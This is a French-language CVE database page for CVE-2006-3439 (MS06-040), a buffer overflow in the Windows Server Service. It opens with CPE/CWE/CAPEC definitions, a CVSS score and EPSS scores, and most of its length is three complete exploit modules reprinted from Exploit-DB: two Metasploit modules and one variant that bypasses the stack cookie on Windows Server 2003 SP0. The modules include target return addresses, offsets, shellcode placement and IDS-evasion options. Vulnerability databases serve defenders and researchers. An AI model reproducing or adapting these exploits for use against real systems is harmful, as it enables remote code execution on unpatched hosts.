CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in the Server Service in Microsoft Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1 allows remote attackers, including anonymous users, to execute arbitrary code via a crafted RPC message, a different vulnerability than CVE-2006-1314.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
87.31%
–
–
2023-03-12
–
–
–
97.01%
–
2023-05-07
–
–
–
96.89%
–
2023-06-18
–
–
–
96.96%
–
2023-07-23
–
–
–
96.9%
–
2024-01-07
–
–
–
96.55%
–
2024-06-02
–
–
–
96.55%
–
2024-12-08
–
–
–
96.49%
–
2024-12-22
–
–
–
96.33%
–
2025-01-19
–
–
–
96.33%
–
2025-03-18
–
–
–
–
88.78%
2025-03-30
–
–
–
–
87.5%
2025-03-30
–
–
–
–
87.5,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2011-02-16 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: ms06_040_netapi.rb 11762 2011-02-17 03:56:15Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Server Service NetpwPathCanonicalize Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
other RPC calls could be used to exploit this service. This exploit will result in
a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
will likely result in a complete reboot on Windows 2000 and the termination of all
SMB-related services on Windows XP. The default target for this exploit should succeed
on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11762 $',
'References' =>
[
[ 'CVE', '2006-3439' ],
[ 'OSVDB', '27845' ],
[ 'BID', '19409' ],
[ 'MSB', 'MS06-040' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
# Technically we can use more space than this, but by limiting it
# to 370 bytes we can use the same request for all Windows SPs.
'Space' => 370,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
[ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
{
'Offset' => 1000,
'Ret' => 0x00020804
}
],
[ '(wcscpy) Windows XP SP0/SP1',
{
'Offset' => 612,
'Ret' => 0x00020804
}
],
[ '(stack) Windows XP SP1 English',
{
'OffsetA' => 656,
'OffsetB' => 680,
'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll
}
],
[ '(stack) Windows XP SP1 Italian',
{
'OffsetA' => 656,
'OffsetB' => 680,
'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll
}
],
[ '(wcscpy) Windows 2003 SP0',
{
'Offset' => 612,
'Ret' => 0x00020804
}
],
],
'DisclosureDate' => 'Aug 8 2006'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
], self.class)
end
def exploit
connect()
smb_login()
mytarget = target
if (not target) or (target.name =~ /Automatic/)
case smb_peer_os()
when 'Windows 5.0'
print_status("Detected a Windows 2000 target")
mytarget = targets[1]
when 'Windows NT 4.0'
print_status("Detected a Windows NT 4.0 target")
mytarget = targets[1]
when 'Windows 5.1'
begin
smb_create("\\SRVSVC")
print_status("Detected a Windows XP SP0/SP1 target")
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
print_status("Windows XP SP2 is not exploitable")
return
end
print_status("Detected a Windows XP target (unknown patch level)")
end
mytarget = targets[2]
when /Windows Server 2003 (\d+)$/
print_status("Detected a Windows 2003 SP0 target")
mytarget = targets[5]
when /Windows Server 2003 (\d+) Service Pack (\d+)/
print_status("Windows 2003 SP#{$2} is not exploitable")
return
when /Samba/
print_status("Samba is not vulnerable")
return
else
print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
return
end
end
# Specific fixups for Windows NT
case smb_peer_os()
when 'Windows NT 4.0'
print_status("Adjusting the SMB/DCERPC parameters for Windows NT")
datastore['SMB::pipe_write_min_size'] = 2048
datastore['SMB::pipe_write_max_size'] = 4096
end
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
)
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
#
# /* Function 0x1f at 0x767e912c */
# long function_1f (
# [in] [unique] [string] wchar_t * arg_00,
# [in] [string] wchar_t * arg_01,
# [out] [size_is(arg_03)] char * arg_02,
# [in] [range(0, 64000)] long arg_03,
# [in] [string] wchar_t * arg_04,
# [in,out] long * arg_05,
# [in] long arg_06
# );
#
print_status("Building the stub data...")
stub = ''
case mytarget.name
# This covers NT 4.0 as well
when /wcscpy.*Windows 2000/
code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded
path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00"
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(250)+1) +
NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
NDR.long(rand(250)+1) +
NDR.long(0)
when /wcscpy.*Windows XP/
path =
# Payload goes first
payload.encoded +
# Padding
rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
# Land 6 bytes in to bypass garbage (XP SP0)
[ mytarget.ret + 6 ].pack('V') +
# Padding
rand_text_alphanumeric(8) +
# Address to write our shellcode (XP SP0)
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(32) +
# Jump straight to shellcode (XP SP1)
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(8) +
# Address to write our shellcode (XP SP1)
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(32) +
# Terminate the path
"\x00\x00"
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(0xf0)+1) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xf0)+1) +
NDR.long(0)
when /stack/
buff = rand_text_alphanumeric(800)
buff[0, payload.encoded.length] = payload.encoded
buff[ mytarget['OffsetA'], 4 ] = [mytarget.ret].pack('V')
buff[ mytarget['OffsetB'], 5 ] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V')
path = "\\\x00\\\x00" + buff + "\x00\x00"
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(0xf0)+1) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xf0)+1) +
NDR.long(0)
when /wcscpy.*Windows 2003/
path =
# Payload goes first
payload.encoded +
# Padding
rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
# Padding
rand_text_alphanumeric(32) +
# The cookie is constant,
# noticed by Nicolas Pouvesle in Misc #28
"\x4e\xe6\x40\xbb" +
# Padding
rand_text_alphanumeric(4) +
# Jump straight to shellcode
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(8) +
# Address to write our shellcode
[ mytarget.ret ].pack('V') +
# Padding
rand_text_alphanumeric(40) +
# Terminate the path
"\x00\x00"
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(0xf0)+1) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(rand(0xf0)+1) +
NDR.long(0)
end
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x1f, stub, false)
dcerpc.call(0x1f, stub, false)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
# Cleanup
handler
disconnect
end
end
Date de publication : 2006-08-09 22h00 +00:00 Auteur : H D Moore EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::netapi_ms06_040;
use base "Msf::Exploit";
use strict;
use Pex::DCERPC;
use Pex::NDR;
my $advanced = {
'FragSize' => [ 256, 'The DCERPC fragment size' ],
'BindEvasion' => [ 0, 'IDS Evasion of the bind request' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
};
my $info = {
'Name' => 'Microsoft NetpIsRemote() MSO6-040 Overflow',
'Version' => '$Revision: 3715 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],
'Arch' => ['x86'],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [ 1, 'ADDR', 'The target address' ],
# SMB connection options
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
},
'Payload' =>
{
# Technically we can use more space than this, but by limiting it
# to 370 bytes we can use the same request for all Windows SPs.
'Space' => 370,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'Keys' => ['+ws2ord'],
# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Description' => Pex::Text::Freeform(
qq{
This module exploits a stack overflow in the NetApi32 NetpIsRemote() function
using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
other RPC calls could be used to exploit this service. This exploit will result in
a denial of service on on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
will likely result in a complete reboot on Windows 2000 and the termination of all
SMB-related services on Windows XP. The default target for this exploit should succeed
on Windows NT 4.0, Windows 2000 SP0-SP4+, and Windows XP SP0-SP1.
}
),
'Refs' =>
[
[ 'BID', '19409' ],
[ 'CVE', '2006-3439' ],
[ 'MSB', 'MS06-040' ],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)' ],
[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ],
[ '(wcscpy) Windows XP SP0/SP1', 612, 0x00020804 ],
[ '(stack) Windows XP SP1 English', 656, 680, 0x71ab1d54], # jmp esp @ ws2_32.dll
],
'Keys' => ['srvsvc'],
'DisclosureDate' => 'Aug 08 2006',
};
sub new {
my ($class) = @_;
my $self =
$class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
return ($self);
}
sub Exploit {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target_name = '*SMBSERVER';
my $FragSize = $self->GetVar('FragSize') || 256;
my $target = $self->Targets->[$target_idx];
if (!$self->InitNops(128)) {
$self->PrintLine("Could not initialize the nop module");
return;
}
my ( $res, $rpc );
my $pipe = '\BROWSER';
my $uuid = '4b324fc8-1670-01d3-1278-5a47bf6ee188';
my $version = '3.0';
my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe );
my $dce = Pex::DCERPC->new(
'handle' => $handle,
'username' => $self->GetVar('SMBUSER'),
'password' => $self->GetVar('SMBPASS'),
'domain' => $self->GetVar('SMBDOM'),
'fragsize' => $self->GetVar('FragSize'),
'bindevasion' => $self->GetVar('BindEvasion'),
'directsmb' => $self->GetVar('DirectSMB'),
);
if ( !$dce ) {
$self->PrintLine("[*] Could not bind to $handle");
return;
}
my $smb = $dce->{'_handles'}{$handle}{'connection'};
if (! $smb) {
$self->PrintLine("[*] Could not establish SMB session");
return;
}
if ( $target->[0] =~ /Automatic/ ) {
if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
$target = $self->Targets->[1];
$self->PrintLine('[*] Detected a Windows 2000 target');
}
elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
$target = $self->Targets->[2];
$self->PrintLine('[*] Detected a Windows XP target');
$self->PrintLine('[*] This will not work on SP2!');
}
elsif ( $smb->PeerNativeOS eq 'Windows 4.0' ) {
$target = $self->Targets->[1];
$self->PrintLine('[*] Detected a Windows NT 4.0 target');
$self->PrintLine('[*] Please email us with the results!');
}
else {
$self->PrintLine('[*] No target available for ' . $smb->PeerNativeOS() );
return;
}
}
#
# /* Function 0x1f at 0x767e912c */
# long function_1f (
# [in] [unique] [string] wchar_t * arg_00,
# [in] [string] wchar_t * arg_01,
# [out] [size_is(arg_03)] char * arg_02,
# [in] [range(0, 64000)] long arg_03,
# [in] [string] wchar_t * arg_04,
# [in,out] long * arg_05,
# [in] long arg_06
# );
#
my $stub;
#
# Use the wcscpy() method on NT 4.0 / 2000
#
if ($target->[0] =~ /2000/ && ! $target->[3]) {
# Pad our shellcode out with nops
$shellcode = $self->MakeNops($target->[1] - length($shellcode)) . $shellcode;
# Stick it into a path
my $path = $shellcode . (pack('V', $target->[2]) x 16) . "\x00\x00";
# Package that into a stub
$stub =
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::UnicodeConformantVaryingStringPreBuilt( "\xeb\x02" . "\x00\x00").
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::Long(0);
#
# Use the wcscpy() method on XP SP0/SP1
#
} elsif ($target->[0] =~ /XP/ && ! $target->[3]) {
# XP SP0/SP1
my $path =
# Shellcode (corrupted ~420 bytes in)
$shellcode.
# Padding
Pex::Text::AlphaNumText($target->[1] - length($shellcode)).
# Land 6 bytes in to bypass garbage (XP SP0)
pack('V', $target->[2] + 6).
# Padding
Pex::Text::AlphaNumText(8).
# Address to write our shellcode (XP SP0)
pack('V', $target->[2]).
# Padding (required)
Pex::Text::AlphaNumText(32).
# Jump straight to shellcode (XP SP1)
pack('V', $target->[2]).
# Padding
Pex::Text::AlphaNumText(8).
# Address to write our shellcode (XP SP1)
pack('V', $target->[2]).
# Padding (required)
Pex::Text::AlphaNumText(32).
# Terminate
"\x00\x00";
# Package that into a stub
$stub =
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::Long(0);
#
# Use the stack overflow method if a return address is set
#
} elsif( $target->[3]) {
my $buff = Pex::Text::AlphaNumText(800);
substr($buff, 0, length($shellcode), $shellcode);
substr($buff, $target->[1], 4, pack('V', $target->[3]));
substr($buff, $target->[2], 5, "\xe9" . pack('V', ($target->[1] + 5) * -1 ));
my $path = "\\\x00\\\x00". $buff. "\x00\x00";
# Package that into a stub
$stub =
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::Long(0);
} else {
$self->PrintLine("This target is not currently supported");
return;
}
$self->PrintLine("[*] Sending request...");
# Function 0x1f is not the only way to exploit this :-)
my @response = $dce->request( $handle, 0x1f, $stub );
if ( length($dce->{'response'}->{'StubData'}) > 0) {
$self->PrintLine("[*] The server rejected it, trying again...");
@response = $dce->request( $handle, 0x1f, $stub );
}
if ( length($dce->{'response'}->{'StubData'}) > 0) {
$self->PrintLine("[*] This system may be patched or running Windows XP SP1 or SP2");
}
if (@response) {
$self->PrintLine('[*] RPC server responded with:');
foreach my $line (@response) {
$self->PrintLine( '[*] ' . $line );
}
}
return;
}
1;
# milw0rm.com [2006-08-10]
Date de publication : 2006-09-12 22h00 +00:00 Auteur : Trirat Puttaraksa EDB Vérifié : Yes
#########################################################################
# netapi_win2003.pm (MS06-040 Exploit for Windows Server 2003 SP0)
#
# Author: Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
# For educational purpose only
#
# Note: This exploit is developed because of my question "Is it exploitable
# on Windows Server 2003 platform ?". As I know, Windows XP SP2 and Windows
# Server 2003 SP1 is not exploitable because they are compiled with /GS, but
# how about Windows Server 2003 SP0 ? In metasploit netapi_ms06_040.pm there
# is no Windows Server 2003 sp0 target, this means 2003 SP0 is not
# exploitable ? There is Stack Protection Windows Server 2003, is this the
# reasons why there is no Windows Server 2003 SP0 exploit for MS06-040 ?
#
# I start to modify H D Moore's exploit (netapi_ms06_040.pm - credits to him
# ^-^) and work on it. The problem is the Stack Protection "security cookie
# checking". Because wcscpy() method allow me to write to any memory location
# that are marked writable, I decide to write to the location at "security
# cookie" is stored and it works !!! I will describe more implementation details
# in my blog in few days ^-^
#
# This exploit tested on Windows Server 2003 SP0 build 3790 and successful
# exploit 2003 machine in my environment - all patch before MS06-040
# (KB921883). It's quite reliable but not 100%. There is the possibility that
# the exploit will fail and the target system process crash. Because I have
# only one testbase system, I couldn't confirm this exploit will work on
# your environment. However feel free to e-mail to me.
#
# Credits: H D Moore
#########################################################################
package Msf::Exploit::netapi_win2003;
use base "Msf::Exploit";
use strict;
use Pex::DCERPC;
use Pex::NDR;
my $advanced = {
'FragSize' => [ 256, 'The DCERPC fragment size' ],
'BindEvasion' => [ 0, 'IDS Evasion of the bind request' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
};
my $info = {
'Name' => 'MSO6-040 Windows Server 2003 Target',
'Version' => '',
'Authors' =>
[
'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>',
],
'Arch' => ['x86'],
'OS' => [ 'win32', 'win2003' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [ 1, 'ADDR', 'The target address' ],
# SMB connection options
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
},
'Payload' =>
{
# Technically we can use more space than this, but by limiting it
# to 370 bytes we can use the same request for all Windows SPs.
'Space' => 370,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'Keys' => ['+ws2ord'],
# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Description' => Pex::Text::Freeform(
qq{
This exploit modified from netapi_ms06_040.pm (Metasploit).
While netapi_ms06_040 of metasploit works on Windows 2000
SP0 - SP4 and Windows XP SP0 - SP1, this exploit works on
Windows Server 2003 SP0.
}
),
'Refs' =>
[
[ 'BID', '19409' ],
[ 'CVE', '2006-3439' ],
[ 'MSB', 'MS06-040' ],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ '(wcscpy) Windows Server 2003 SP0', 612],
],
'Keys' => ['srvsvc'],
'DisclosureDate' => '',
};
sub new {
my ($class) = @_;
my $self =
$class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
return ($self);
}
sub Exploit {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target_name = '*SMBSERVER';
my $FragSize = $self->GetVar('FragSize') || 256;
my $target = $self->Targets->[$target_idx];
if (!$self->InitNops(128)) {
$self->PrintLine("Could not initialize the nop module");
return;
}
my ( $res, $rpc );
my $pipe = '\BROWSER';
my $uuid = '4b324fc8-1670-01d3-1278-5a47bf6ee188';
my $version = '3.0';
my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe );
my $dce = Pex::DCERPC->new(
'handle' => $handle,
'username' => $self->GetVar('SMBUSER'),
'password' => $self->GetVar('SMBPASS'),
'domain' => $self->GetVar('SMBDOM'),
'fragsize' => $self->GetVar('FragSize'),
'bindevasion' => $self->GetVar('BindEvasion'),
'directsmb' => $self->GetVar('DirectSMB'),
);
if ( !$dce ) {
$self->PrintLine("[*] Could not bind to $handle");
return;
}
my $smb = $dce->{'_handles'}{$handle}{'connection'};
if (! $smb) {
$self->PrintLine("[*] Could not establish SMB session");
return;
}
my $stub;
#
# Use the wcscpy() method on Windows Server 2003 SP0
#
if ($target->[0] =~ /2003/) {
my $path =
$shellcode.
# Padding
Pex::Text::AlphaNumText($target->[1] - length($shellcode)).
Pex::Text::AlphaNumText(32).
substr($shellcode, 0, 4). # cookie
Pex::Text::AlphaNumText(4).
# return address == address that store security cookie
("\xec\xc1\xc8\x71") .
Pex::Text::AlphaNumText(8).
("\xec\xc1\xc8\x71" x 2) .
Pex::Text::AlphaNumText(36).
# Terminate
"\x00\x00";
# Package that into a stub
$stub =
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::Long(0);
}
else {
$self->PrintLine("This target is not currently supported");
return;
}
$self->PrintLine("[*] Sending request...");
# Function 0x1f is not the only way to exploit this :-)
my @response = $dce->request( $handle, 0x1f, $stub );
if ( length($dce->{'response'}->{'StubData'}) > 0) {
$self->PrintLine("[*] The server rejected it, trying again...");
@response = $dce->request( $handle, 0x1f, $stub );
}
if ( length($dce->{'response'}->{'StubData'}) > 0) {
$self->PrintLine("[*] Exploit Failed");
}
if (@response) {
$self->PrintLine('[*] RPC server responded with:');
foreach my $line (@response) {
$self->PrintLine( '[*] ' . $line );
}
}
return;
}
1;
# milw0rm.com [2006-09-13]